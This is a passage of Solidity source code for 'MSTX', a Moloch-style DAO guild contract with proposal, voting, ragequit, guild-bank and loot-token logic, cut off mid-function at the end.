// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.12; interface IERC20 { // brief interface for erc20 token tx function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } library Address { // helper for address type - see openzeppelin-contracts/blob/master/contracts/utils/Address.sol function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } } library SafeERC20 { // wrapper around erc20 token tx for non-standard contract - see openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returnData) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returnData.length > 0) { // return data is optional require(abi.decode(returnData, (bool)), "SafeERC20: erc20 operation did not succeed"); } } } library SafeMath { // arithmetic wrapper for unit under/overflow check function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } } contract ReentrancyGuard { // call wrapper for reentrancy check uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } contract MSTX is ReentrancyGuard { using SafeERC20 for IERC20; using SafeMath for uint256; /*************** GLOBAL CONSTANTS ***************/ address public depositToken; // deposit token contract reference - default = wETH address public stakeToken; // stake token contract reference for guild voting shares address public constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // canonical ether token wrapper contract reference uint256 public proposalDeposit; // default = 10 deposit token uint256 public processingReward; // default = 0.1 - amount of deposit token to give to whoever processes a proposal uint256 public periodDuration; // default = 17280 = 4.8 hours in seconds (5 periods per day) uint256 public votingPeriodLength; // default = 35 periods (7 days) uint256 public gracePeriodLength; // default = 35 periods (7 days) uint256 public dilutionBound; // default = 3 - maximum multiplier a YES voter will be obligated to pay in case of mass ragequit uint256 public summoningTime; // needed to determine the current period bool private initialized; // internally tracks deployment under eip-1167 proxy pattern // HARD-CODED LIMITS uint256 constant MAX_GUILD_BOUND = 10**36; // maximum bound for guild member accounting uint256 constant MAX_TOKEN_WHITELIST_COUNT = 400; // maximum number of whitelisted tokens uint256 constant MAX_TOKEN_GUILDBANK_COUNT = 200; // maximum number of tokens with non-zero balance in guildbank // GUILD TOKEN DETAILS uint8 public constant decimals = 18; string public constant name = "MSTX"; string public constant symbol = "MSTX"; // ******************* // INTERNAL ACCOUNTING // ******************* address public constant GUILD = address(0xdead); address public constant ESCROW = address(0xdeaf); address public constant TOTAL = address(0xdeed); uint256 public proposalCount; // total proposals submitted uint256 public totalShares; // total shares across all members uint256 public totalLoot; // total loot across all members uint256 public totalSupply; // total shares & loot across all members (total guild tokens) uint256 public totalGuildBankTokens; // total tokens with non-zero balance in guild bank mapping(uint256 => bytes) public actions; // proposalId => action data mapping(address => uint256) public balanceOf; // guild token balances mapping(address => mapping(address => uint256)) public allowance; // guild token (loot) allowances mapping(address => mapping(address => uint256)) private userTokenBalances; // userTokenBalances[userAddress][tokenAddress] address[] public approvedTokens; mapping(address => bool) public tokenWhitelist; uint256[] public proposalQueue; mapping(uint256 => Proposal) public proposals; mapping(address => bool) public proposedToWhitelist; mapping(address => bool) public proposedToKick; mapping(address => Member) public members; mapping(address => address) public memberAddressByDelegateKey; // ************** // EVENT TRACKING // ************** event SubmitProposal(address indexed applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, bytes32 details, uint8[9] flags, bytes data, uint256 proposalId, address indexed delegateKey, address indexed memberAddress); event CancelProposal(uint256 indexed proposalId, address applicantAddress); event SponsorProposal(address indexed delegateKey, address indexed memberAddress, uint256 proposalId, uint256 proposalIndex, uint256 startingPeriod); event SubmitVote(uint256 proposalId, uint256 indexed proposalIndex, address indexed delegateKey, address indexed memberAddress, uint8 uintVote); event ProcessProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass); event ProcessActionProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass); event ProcessGuildKickProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass); event ProcessWhitelistProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass); event ProcessWithdrawalProposal(uint256 indexed proposalIndex, uint256 indexed proposalId, bool didPass); event UpdateDelegateKey(address indexed memberAddress, address newDelegateKey); event Ragequit(address indexed memberAddress, uint256 sharesToBurn, uint256 lootToBurn); event TokensCollected(address indexed token, uint256 amountToCollect); event Withdraw(address indexed memberAddress, address token, uint256 amount); event ConvertSharesToLoot(address indexed memberAddress, uint256 amount); event StakeTokenForShares(address indexed memberAddress, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); // guild token (loot) allowance tracking event Transfer(address indexed sender, address indexed recipient, uint256 amount); // guild token mint, burn & loot transfer tracking enum Vote { Null, // default value, counted as abstention Yes, No } struct Member { address delegateKey; // the key responsible for submitting proposals & voting - defaults to member address unless updated uint8 exists; // always true (1) once a member has been created uint256 shares; // the # of voting shares assigned to this member uint256 loot; // the loot amount available to this member (combined with shares on ragekick) - transferable by guild token uint256 highestIndexYesVote; // highest proposal index # on which the member voted YES uint256 jailed; // set to proposalIndex of a passing guild kick proposal for this member, prevents voting on & sponsoring proposals } struct Proposal { address applicant; // the applicant who wishes to become a member - this key will be used for withdrawals (doubles as target for alt. proposals) address proposer; // the account that submitted the proposal (can be non-member) address sponsor; // the member that sponsored the proposal (moving it into the queue) address tributeToken; // tribute token contract reference address paymentToken; // payment token contract reference uint8[9] flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] uint256 sharesRequested; // the # of shares the applicant is requesting uint256 lootRequested; // the amount of loot the applicant is requesting uint256 paymentRequested; // amount of tokens requested as payment uint256 tributeOffered; // amount of tokens offered as tribute uint256 startingPeriod; // the period in which voting can start for this proposal uint256 yesVotes; // the total number of YES votes for this proposal uint256 noVotes; // the total number of NO votes for this proposal uint256 maxTotalSharesAndLootAtYesVote; // the maximum # of total shares encountered at a yes vote on this proposal bytes32 details; // proposal details to add context for members mapping(address => Vote) votesByMember; // the votes on this proposal by each member } modifier onlyDelegate { require(members[memberAddressByDelegateKey[msg.sender]].shares > 0, "!delegate"); _; } function init( address _depositToken, address _stakeToken, address[] memory _summoner, uint256[] memory _summonerShares, uint256 _summonerDeposit, uint256 _proposalDeposit, uint256 _processingReward, uint256 _periodDuration, uint256 _votingPeriodLength, uint256 _gracePeriodLength, uint256 _dilutionBound ) external { require(!initialized, "initialized"); require(_depositToken != _stakeToken, "depositToken = stakeToken"); require(_summoner.length == _summonerShares.length, "summoner != summonerShares"); require(_proposalDeposit >= _processingReward, "_processingReward > _proposalDeposit"); for (uint256 i = 0; i < _summoner.length; i++) { growGuild(_summoner[i], _summonerShares[i], 0); } require(totalShares <= MAX_GUILD_BOUND, "guild maxed"); tokenWhitelist[_depositToken] = true; approvedTokens.push(_depositToken); if (_summonerDeposit > 0) { totalGuildBankTokens += 1; unsafeAddToBalance(GUILD, _depositToken, _summonerDeposit); } depositToken = _depositToken; stakeToken = _stakeToken; proposalDeposit = _proposalDeposit; processingReward = _processingReward; periodDuration = _periodDuration; votingPeriodLength = _votingPeriodLength; gracePeriodLength = _gracePeriodLength; dilutionBound = _dilutionBound; summoningTime = now; initialized = true; } /***************** PROPOSAL FUNCTIONS *****************/ function submitProposal( address applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, bytes32 details ) external nonReentrant payable returns (uint256 proposalId) { require(sharesRequested.add(lootRequested) <= MAX_GUILD_BOUND, "guild maxed"); require(tokenWhitelist[tributeToken], "tributeToken != whitelist"); require(tokenWhitelist[paymentToken], "paymentToken != whitelist"); require(applicant != GUILD && applicant != ESCROW && applicant != TOTAL, "applicant unreservable"); require(members[applicant].jailed == 0, "applicant jailed"); if (tributeOffered > 0 && userTokenBalances[GUILD][tributeToken] == 0) { require(totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT, "guildbank maxed"); } // collect tribute from proposer & store it in MSTX until the proposal is processed - if ether, wrap into wETH if (msg.value > 0) { require(tributeToken == wETH && msg.value == tributeOffered, "!ethBalance"); (bool success, ) = wETH.call{value: msg.value}(""); require(success, "!ethCall"); IERC20(wETH).safeTransfer(address(this), msg.value); } else { IERC20(tributeToken).safeTransferFrom(msg.sender, address(this), tributeOffered); } unsafeAddToBalance(ESCROW, tributeToken, tributeOffered); uint8[9] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] flags[8] = 1; // standard _submitProposal(applicant, sharesRequested, lootRequested, tributeOffered, tributeToken, paymentRequested, paymentToken, details, flags, ""); return proposalCount - 1; // return proposalId - contracts calling submit might want it } function submitActionProposal( // stages arbitrary function calls for member vote - based on Raid Guild 'Minion' address actionTo, // target account for action (e.g., address to receive ether, token, dao, etc.) uint256 actionTokenAmount, // helps check outbound guild bank token amount does not exceed internal balance / amount to update bank if successful uint256 actionValue, // ether value, if any, in call bytes32 details, // details tx staged for member execution - as external, extra care should be applied in diligencing action bytes calldata data // data for function call ) external returns (uint256 proposalId) { uint8[9] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] flags[6] = 1; // action _submitProposal(actionTo, 0, 0, actionValue, address(0), actionTokenAmount, address(0), details, flags, data); return proposalCount - 1; } function submitGuildKickProposal(address memberToKick, bytes32 details) external returns (uint256 proposalId) { Member memory member = members[memberToKick]; require(member.shares > 0 || member.loot > 0, "!share||loot"); require(members[memberToKick].jailed == 0, "jailed"); uint8[9] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] flags[5] = 1; // guildkick _submitProposal(memberToKick, 0, 0, 0, address(0), 0, address(0), details, flags, ""); return proposalCount - 1; } function submitWhitelistProposal(address tokenToWhitelist, bytes32 details) external returns (uint256 proposalId) { require(tokenToWhitelist != address(0), "!token"); require(tokenToWhitelist != stakeToken, "tokenToWhitelist = stakeToken"); require(!tokenWhitelist[tokenToWhitelist], "whitelisted"); require(approvedTokens.length < MAX_TOKEN_WHITELIST_COUNT, "whitelist maxed"); uint8[9] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] flags[4] = 1; // whitelist _submitProposal(address(0), 0, 0, 0, tokenToWhitelist, 0, address(0), details, flags, ""); return proposalCount - 1; } function submitWithdrawalProposal(address withdrawalTo, bytes32 details) external returns (uint256 proposalId) { uint8[9] memory flags; // [sponsored, processed, didPass, cancelled, whitelist, guildkick, action, withdrawal, standard] flags[7] = 1; // withdrawal _submitProposal(withdrawalTo, 0, 0, 0, address(0), 0, address(0), details, flags, ""); return proposalCount - 1; } function _submitProposal( address applicant, uint256 sharesRequested, uint256 lootRequested, uint256 tributeOffered, address tributeToken, uint256 paymentRequested, address paymentToken, bytes32 details, uint8[9] memory flags, bytes memory data ) internal { Proposal memory proposal = Proposal({ applicant : applicant, proposer : msg.sender, sponsor : address(0), tributeToken : tributeToken, paymentToken : paymentToken, flags : flags, sharesRequested : sharesRequested, lootRequested : lootRequested, paymentRequested : paymentRequested, tributeOffered : tributeOffered, startingPeriod : 0, yesVotes : 0, noVotes : 0, maxTotalSharesAndLootAtYesVote : 0, details : details }); if (proposal.flags[6] == 1) { actions[proposalCount] = data; } proposals[proposalCount] = proposal; // NOTE: argument order matters, avoid stack too deep emit SubmitProposal(applicant, sharesRequested, lootRequested, tributeOffered, tributeToken, paymentRequested, paymentToken, details, flags, data, proposalCount, msg.sender, memberAddressByDelegateKey[msg.sender]); proposalCount += 1; } function sponsorProposal(uint256 proposalId) external nonReentrant onlyDelegate { // collect proposal deposit from sponsor & store it in MSTX until the proposal is processed IERC20(depositToken).safeTransferFrom(msg.sender, address(this), proposalDeposit); unsafeAddToBalance(ESCROW, depositToken, proposalDeposit); Proposal storage proposal = proposals[proposalId]; require(proposal.proposer != address(0), "!proposed"); require(proposal.flags[0] == 0, "sponsored"); require(proposal.flags[3] == 0, "cancelled"); require(members[proposal.applicant].jailed == 0, "applicant jailed"); if (proposal.tributeOffered > 0 && userTokenBalances[GUILD][proposal.tributeToken] == 0) { require(totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT, "guildbank maxed"); } // whitelist proposal if (proposal.flags[4] == 1) { require(!tokenWhitelist[address(proposal.tributeToken)], "whitelisted"); require(!proposedToWhitelist[address(proposal.tributeToken)], "whitelist proposed"); require(approvedTokens.length < MAX_TOKEN_WHITELIST_COUNT, "whitelist maxed"); proposedToWhitelist[address(proposal.tributeToken)] = true; // guild kick proposal } else if (proposal.flags[5] == 1) { require(!proposedToKick[proposal.applicant], "kick proposed"); proposedToKick[proposal.applicant] = true; } // compute startingPeriod for proposal uint256 startingPeriod = max( getCurrentPeriod(), proposalQueue.length == 0 ? 0 : proposals[proposalQueue[proposalQueue.length - 1]].startingPeriod ) + 1; proposal.startingPeriod = startingPeriod; proposal.sponsor = memberAddressByDelegateKey[msg.sender]; proposal.flags[0] = 1; // sponsored // append proposal to the queue proposalQueue.push(proposalId); emit SponsorProposal(msg.sender, proposal.sponsor, proposalId, proposalQueue.length - 1, startingPeriod); } // NOTE: In MSTX, proposalIndex != proposalId function submitVote(uint256 proposalIndex, uint8 uintVote) external nonReentrant onlyDelegate { address memberAddress = memberAddressByDelegateKey[msg.sender]; Member storage member = members[memberAddress]; require(proposalIndex < proposalQueue.length, "!proposed"); uint256 proposalId = proposalQueue[proposalIndex]; Proposal storage proposal = proposals[proposalId]; require(uintVote < 3, ">2"); Vote vote = Vote(uintVote); require(getCurrentPeriod() >= proposal.startingPeriod, "pending"); require(!hasVotingPeriodExpired(proposal.startingPeriod), "expired"); require(proposal.votesByMember[memberAddress] == Vote.Null, "voted"); require(vote == Vote.Yes || vote == Vote.No, "!Yes||No"); proposal.votesByMember[memberAddress] = vote; if (vote == Vote.Yes) { proposal.yesVotes += member.shares; // set highest index (latest) yes vote - must be processed for member to ragequit if (proposalIndex > member.highestIndexYesVote) { member.highestIndexYesVote = proposalIndex; } // set maximum of total shares encountered at a yes vote - used to bound dilution for yes voters if (totalSupply > proposal.maxTotalSharesAndLootAtYesVote) { proposal.maxTotalSharesAndLootAtYesVote = totalSupply; } } else if (vote == Vote.No) { proposal.noVotes += member.shares; } // NOTE: subgraph indexes by proposalId not proposalIndex since proposalIndex isn't set until it's been sponsored but proposal is created on submission emit SubmitVote(proposalId, proposalIndex, msg.sender, memberAddress, uintVote); } function processProposal(uint256 proposalIndex) external nonReentrant { _validateProposalForProcessing(proposalIndex); uint256 proposalId = proposalQueue[proposalIndex]; Proposal storage proposal = proposals[proposalId]; require(proposal.flags[8] == 1, "!standard"); proposal.flags[1] = 1; // processed bool didPass = _didPass(proposalIndex); // Make the proposal fail if the new total number of shares & loot exceeds the limit if (totalSupply.add(proposal.sharesRequested).add(proposal.lootRequested) > MAX_GUILD_BOUND) { didPass = false; } // Make the proposal fail if it is requesting more tokens as payment than the available guild bank balance if (proposal.paymentRequested > userTokenBalances[GUILD][proposal.paymentToken]) { didPass = false; } // Make the proposal fail if it would result in too many tokens with non-zero balance in guild bank if (proposal.tributeOffered > 0 && userTokenBalances[GUILD][proposal.tributeToken] == 0 && totalGuildBankTokens >= MAX_TOKEN_GUILDBANK_COUNT) { didPass = false; } // PROPOSAL PASSED if (didPass) { proposal.flags[2] = 1; // didPass growGuild(proposal.applicant, proposal.sharesRequested, proposal.lootRequested); // if the proposal tribute is the first token of its kind to make it into the guild bank, increment total guild bank tokens if (userTokenBalances[GUILD][proposal.tributeToken] == 0 && proposal.tributeOffered > 0) { totalGuildBankTokens += 1; } unsafeInternalTransfer(ESCROW, GUILD, proposal.tributeToken, proposal.tributeOffered); unsafeInternalTransfer(GUILD, proposal.applicant, proposal.paymentToken, proposal.paymentRequested); // if the proposal spends 100% of guild bank balance for a token, decrement total guild bank tokens if (userTokenBalances[GUILD][proposal.paymentToken] == 0 && proposal.paymentRequested > 0) { totalGuildBankTokens -= 1; } // PROPOSAL FAILED } else { // return all tokens to the proposer (not the applicant, because funds come from proposer) unsafeInternalTransfer(ESCROW, proposal.proposer, proposal.tributeToken, proposal.tributeOffered); } _returnDeposit(proposal.sponsor); emit ProcessProposal(proposalIndex, proposalId, didPass); } function processActionProposal(uint256 proposalIndex) external nonReentrant returns (bool, bytes memory) { _validateProposalForProcessing(proposalIndex); uint256 proposalId = proposalQueue[proposalIndex]; bytes storage action = actions[proposalId]; Proposal storage proposal = proposals[proposalId]; require(proposal.flags[6] == 1, "!action"); proposal.flags[1] = 1; // processed bool didPass = _didPass(proposalIndex); // Make the proposal fail if it is requesting more accounted tokens than the available guild bank balance if (tokenWhitelist[proposal.applicant] && proposal.paymentRequested > userTokenBalances[GUILD][proposal.applicant]) { didPass = false; } // Make the proposal fail if it is requesting more ether than the available local balance if (proposal.tributeOffered > address(this).balance) { didPass = false; } if (didPass) { proposal.flags[2] = 1; // didPass (bool success, bytes memory returnData) = proposal.applicant.call{value: proposal.tributeOffered}(action); if (tokenWhitelist[proposal.applicant]) { unsafeSubtractFromBalance(GUILD, proposal.applicant, proposal.paymentRequested); // if the action proposal spends 100% of guild bank balance for a token, decrement total guild bank tokens if (userTokenBalances[GUILD][proposal.applicant] == 0 && proposal.paymentRequested > 0) {totalGuildBankTokens -= 1;} } return (success, returnData); } _returnDeposit(proposal.sponsor); emit ProcessActionProposal(proposalIndex, proposalId, didPass); } function processGuildKickProposal(uint256 proposalIndex) external nonReentrant { _validateProposalForProcessing(proposalIndex); uint256 proposalId = proposalQueue[proposalIndex]; Proposal storage proposal = proposals[proposalId]; require(proposal.flags[5] == 1, "!kick"); proposal.flags[1] = 1; // processed bool didPass = _didPass(proposalIndex); if (didPass) { proposal.flags[2] = 1; // didPass Member storage member = members[proposal.applicant]; member.jailed = proposalIndex; // transfer shares to loot member.loot = member.loot.add(member.shares); totalShares = totalShares.sub(member.shares); totalLoot = totalLoot.add(member.shares); member.shares = 0; // revoke all shares } proposedToKick[proposal.applicant] = false; _returnDeposit(proposal.sponsor); emit ProcessGuildKickProposal(proposalIndex, proposalId, didPass); } function processWhitelistProposal(uint256 proposalIndex) external { _validateProposalForProcessing(proposalIndex); uint256 proposalId = proposalQueue[proposalIndex]; Proposal storage proposal = proposals[proposalId]; require(proposal.flags[4] == 1, "!whitelist"); proposal.flags[1] = 1; // processed bool didPass = _didPass(proposalIndex); if (approvedTokens.length >= MAX_TOKEN_WHITELIST_COUNT) { didPass = false; } if (didPass) { proposal.flags[2] = 1; // didPass tokenWhitelist[address(proposal.tributeToken)] = true; approvedTokens.push(proposal.tributeToken); } proposedToWhitelist[address(proposal.tributeToken)] = false; _returnDeposit(proposal.sponsor); emit ProcessWhitelistProposal(proposalIndex, proposalId, didPass); } function processWithdrawalProposal(uint256 proposalIndex) external nonReentrant { _validateProposalForProcessing(proposalIndex); uint256 proposalId = proposalQueue[proposalIndex]; Proposal storage proposal = proposals[proposalId]; require(proposal.flags[7] == 1, "!withdrawal"); proposal.flags[1] = 1; // processed bool didPass = _didPass(proposalIndex); if (didPass) { proposal.flags[2] = 1; // didPass for (uint256 i = 0; i < approvedTokens.length; i++) { // deliberately not using safemath here to keep overflows from preventing the function execution (which would break withdrawal) // if a token overflows, it is because the supply was artificially inflated to oblivion, so we probably don't care about it anyways uint256 withdrawalAmount = userTokenBalances[GUILD][approvedTokens[i]]; userTokenBalances[GUILD][approvedTokens[i]] -= withdrawalAmount; userTokenBalances[proposal.applicant][approvedTokens[i]] += withdrawalAmount; } totalGuildBankTokens -= approvedTokens.length; } _returnDeposit(proposal.sponsor); emit ProcessWithdrawalProposal(proposalIndex, proposalId, didPass); } function _didPass(uint256 proposalIndex) internal view returns (bool didPass) { Proposal memory proposal = proposals[proposalQueue[proposalIndex]]; if (proposal.yesVotes > proposal.noVotes) { didPass = true; } // Make the proposal fail if the dilutionBound is exceeded if ((totalSupply.mul(dilutionBound)) < proposal.maxTotalSharesAndLootAtYesVote) { didPass = false; } // Make the proposal fail if the applicant is jailed // - for standard proposals, we don't want the applicant to get any shares/loot/payment // - for guild kick proposals, we should never be able to propose to kick a jailed member (or have two kick proposals active), so it doesn't matter if (members[proposal.applicant].jailed != 0) { didPass = false; } return didPass; } function _validateProposalForProcessing(uint256 proposalIndex) internal view { require(proposalIndex < proposalQueue.length, "!proposal"); Proposal memory proposal = proposals[proposalQueue[proposalIndex]]; require(getCurrentPeriod() >= proposal.startingPeriod.add(votingPeriodLength).add(gracePeriodLength), "!ready"); require(proposal.flags[1] == 0, "processed"); require(proposalIndex == 0 || proposals[proposalQueue[proposalIndex - 1]].flags[1] == 1, "prior !processed"); } function _returnDeposit(address sponsor) internal { unsafeInternalTransfer(ESCROW, msg.sender, depositToken, processingReward); unsafeInternalTransfer(ESCROW, sponsor, depositToken, proposalDeposit - processingReward); } function ragequit(uint256 sharesToBurn, uint256 lootToBurn) external nonReentrant { require(members[msg.sender].exists == 1, "!member"); _ragequit(msg.sender, sharesToBurn, lootToBurn); } function _ragequit(address memberAddress, uint256 sharesToBurn, uint256 lootToBurn) internal { uint256 initialTotalSharesAndLoot = totalSupply; Member storage member = members[memberAddress]; require(member.shares >= sharesToBurn, "!shares"); require(member.loot >= lootToBurn, "!loot"); require(canRagequit(member.highestIndexYesVote), "!ragequit until highest index proposal member voted YES processes"); uint256 sharesAndLootToBurn = sharesToBurn.add(lootToBurn); // burn guild token, shares & loot balanceOf[memberAddress] = balanceOf[memberAddress].sub(sharesAndLootToBurn); member.shares = member.shares.sub(sharesToBurn); member.loot = member.loot.sub(lootToBurn); totalShares = totalShares.sub(sharesToBurn); totalLoot = totalLoot.sub(lootToBurn); totalSupply = totalShares.add(totalLoot); for (uint256 i = 0; i < approvedTokens.length; i++) { uint256 amountToRagequit = fairShare(userTokenBalances[GUILD][approvedTokens[i]], sharesAndLootToBurn, initialTotalSharesAndLoot); if (amountToRagequit > 0) { // gas optimization to allow a higher maximum token limit // deliberately not using safemath here to keep overflows from preventing the function execution (which would break ragekicks) // if a token overflows, it is because the supply was artificially inflated to oblivion, so we probably don't care about it anyways userTokenBalances[GUILD][approvedTokens[i]] -= amountToRagequit; userTokenBalances[memberAddress][approvedTokens[i]] += amountToRagequit; } } emit Ragequit(memberAddress, sharesToBurn, lootToBurn); emit Transfer(memberAddress, address(0), sharesAndLootToBurn); } function ragekick(address memberToKick) external nonReentrant onlyDelegate { Member storage member = members[memberToKick]; require(member.jailed != 0, "!jailed"); require(member.loot > 0, "!loot"); // note - should be impossible for jailed member to have shares require(canRagequit(member.highestIndexYesVote), "!ragequit until highest index proposal member voted YES processes"); _ragequit(memberToKick, 0, member.loot); } function withdrawBalance(address token, uint256 amount) external nonReentrant { _withdrawBalance(token, amount); } function withdrawBalances(address[] calldata tokens, uint256[] calldata amounts, bool max) external nonReentrant { require(tokens.length == amounts.length, "tokens != amounts"); for (uint256 i=0; i < tokens.length; i++) { uint256 withdrawAmount = amounts[i]; if (max) { // withdraw the maximum balance withdrawAmount = userTokenBalances[msg.sender][tokens[i]]; } _withdrawBalance(tokens[i], withdrawAmount); } } function _withdrawBalance(address token, uint256 amount) internal { require(userTokenBalances[msg.sender][token] >= amount, "!balance"); IERC20(token).safeTransfer(msg.sender, amount); unsafeSubtractFromBalance(msg.sender, token, amount); emit Withdraw(msg.sender, token, amount); } function collectTokens(address token) external nonReentrant onlyDelegate { uint256 amountToCollect = IERC20(token).balanceOf(address(this)).sub(userTokenBalances[TOTAL][token]); // only collect if 1) there are tokens to collect & 2) token is whitelisted require(amountToCollect > 0, "!amount"); require(tokenWhitelist[token], "!whitelisted"); if (userTokenBalances[GUILD][token] == 0 && totalGuildBankTokens < MAX_TOKEN_GUILDBANK_COUNT) {totalGuildBankTokens += 1;} unsafeAddToBalance(GUILD, token, amountToCollect); emit TokensCollected(token, amountToCollect); } // NOTE: requires that delegate key which sent the original proposal cancels, msg.sender = proposal.proposer function cancelProposal(uint256 proposalId) external nonReentrant { Proposal storage proposal = proposals[proposalId]; require(proposal.flags[0] == 0, "sponsored"); require(proposal.flags[3] == 0, "cancelled"); require(msg.sender == proposal.proposer, "!proposer"); proposal.flags[3] = 1; // cancelled unsafeInternalTransfer(ESCROW, proposal.proposer, proposal.tributeToken, proposal.tributeOffered); emit CancelProposal(proposalId, msg.sender); } function updateDelegateKey(address newDelegateKey) external { require(members[msg.sender].shares > 0, "!shareholder"); require(newDelegateKey != address(0), "newDelegateKey = 0"); // skip checks if member is setting the delegate key to their member address if (newDelegateKey != msg.sender) { require(members[newDelegateKey].exists == 0, "!overwrite members"); require(members[memberAddressByDelegateKey[newDelegateKey]].exists == 0, "!overwrite keys"); } Member storage member = members[msg.sender]; memberAddressByDelegateKey[member.delegateKey] = address(0); memberAddressByDelegateKey[newDelegateKey] = msg.sender; member.delegateKey = newDelegateKey; emit UpdateDelegateKey(msg.sender, newDelegateKey); } // can only ragequit if the latest proposal you voted YES on has been processed function canRagequit(uint256 highestIndexYesVote) public view returns (bool) { require(highestIndexYesVote < proposalQueue.length, "!proposal"); return proposals[proposalQueue[highestIndexYesVote]].flags[1] == 1; } function hasVotingPeriodExpired(uint256 startingPeriod) public view returns (bool) { return getCurrentPeriod() >= startingPeriod.add(votingPeriodLength); } /*************** GETTER FUNCTIONS ***************/ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x >= y ? x : y; } function getCurrentPeriod() public view returns (uint256) { return now.sub(summoningTime).div(periodDuration); } function getMemberProposalVote(address memberAddress, uint256 proposalIndex) external view returns (Vote) { require(members[memberAddress].exists == 1, "!member"); require(proposalIndex < proposalQueue.length, "!proposed"); return proposals[proposalQueue[proposalIndex]].votesByMember[memberAddress]; } function getProposalFlags(uint256 proposalId) external view returns (uint8[9] memory) { return proposals[proposalId].flags; } function getProposalQueueLength() external view returns (uint256) { return proposalQueue.length; } function getTokenCount() external view returns (uint256) { return approvedTokens.length; } function getUserTokenBalance(address user, address token) external view returns (uint256) { return userTokenBalances[user][token]; } /*************** HELPER FUNCTIONS ***************/ receive() external payable {} function fairShare(uint256 balance, uint256 shares, uint256 totalSharesAndLoot) internal pure returns (uint256) { require(totalSharesAndLoot != 0); if (balance == 0) { return 0; } uint256 prod = balance * shares; if (prod / balance == shares) { // no overflow in multiplication above? return prod / totalSharesAndLoot; } return (balance / totalSharesAndLoot) * shares; } function growGuild(address account, uint256 shares, uint256 loot) internal { // if the account is already a member, add to their existing shares & loot if (members[account].exists == 1) { members[account].shares = members[account].shares.add(shares); members[account].loot = members[account].loot.add(loot); // if the account is a new member, create a new record for them } else { // if new member is already taken by a member's delegateKey, reset it to their member address if (members[memberAddressByDelegateKey[account]].exists == 1) { address memberToOverride = memberAddressByDelegateKey[account]; memberAddressByDelegateKey[memberToOverride] = memberToOverride; members[memberToOverride].delegateKey = memberToOverride; } members[account] = Member({ delegateKey : account, exists : 1, // 'true' shares : shares, loot : loot.add(members[account].loot), // take into account loot from pre-membership transfers highestIndexYesVote : 0, jailed : 0 }); memberAddressByDelegateKey[account] = account; } uint256 sharesAndLoot = shares.add(loot); // mint new guild token, update total shares & loot balanceOf[account] = balanceOf[account].add(sharesAndLoot); totalShares = totalShares.add(shares); totalLoot = totalLoot.add(loot); totalSupply = totalShares.add(totalLoot); emit Transfer(address(0), account, sharesAndLoot); } function unsafeAddToBalance(address user, address token, uint256 amount) internal { userTokenBalances[user][token] += amount; userTokenBalances[TOTAL][token] += amount; } function unsafeInternalTransfer(address from, address to, address token, uint256 amount) internal { unsafeSubtractFromBalance(from, token, amount); unsafeAddToBalance(to, token, amount); } function unsafeSubtractFromBalance(address user, address token, uint256 amount) internal { userTokenBalances[user][token] -= amount; userTokenBalances[TOTAL][token] -= amount; } /******************** GUILD TOKEN FUNCTIONS ********************/ function approve(address spender, uint256 amount) external returns (bool) { require(amount == 0 || allowance[msg.sender][spender] == 0); allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function convertSharesToLoot(uint256 sharesToLoot) external nonReentrant { members[msg.sender].shares = members[msg.sender].shares.sub(sharesToLoot); members[msg.sender].loot = members[msg.sender].loot.add(sharesToLoot); totalShares = totalShares.sub(sharesToLoot); totalLoot = totalLoot.add(sharesToLoot); emit ConvertSharesToLoot(msg.sender, sharesToLoot); } function stakeTokenForShares(uint256 amount) external nonReentrant { IERC20(stakeToken).safeTransferFrom(msg.sender, address(this), amount); // deposit stake token & claim shares (1:1) growGuild(msg.sender, amount, 0); require(totalSupply <= MAX_GUILD_BOUND, "guild maxed"); emit StakeTokenForShares(msg.sender, amount); } function transfer(address recipient, uint256 lootToTransfer) external returns (bool) { members[msg.sender].loot = members[msg.sender].loot.sub(lootToTransfer); members[recipient].loot 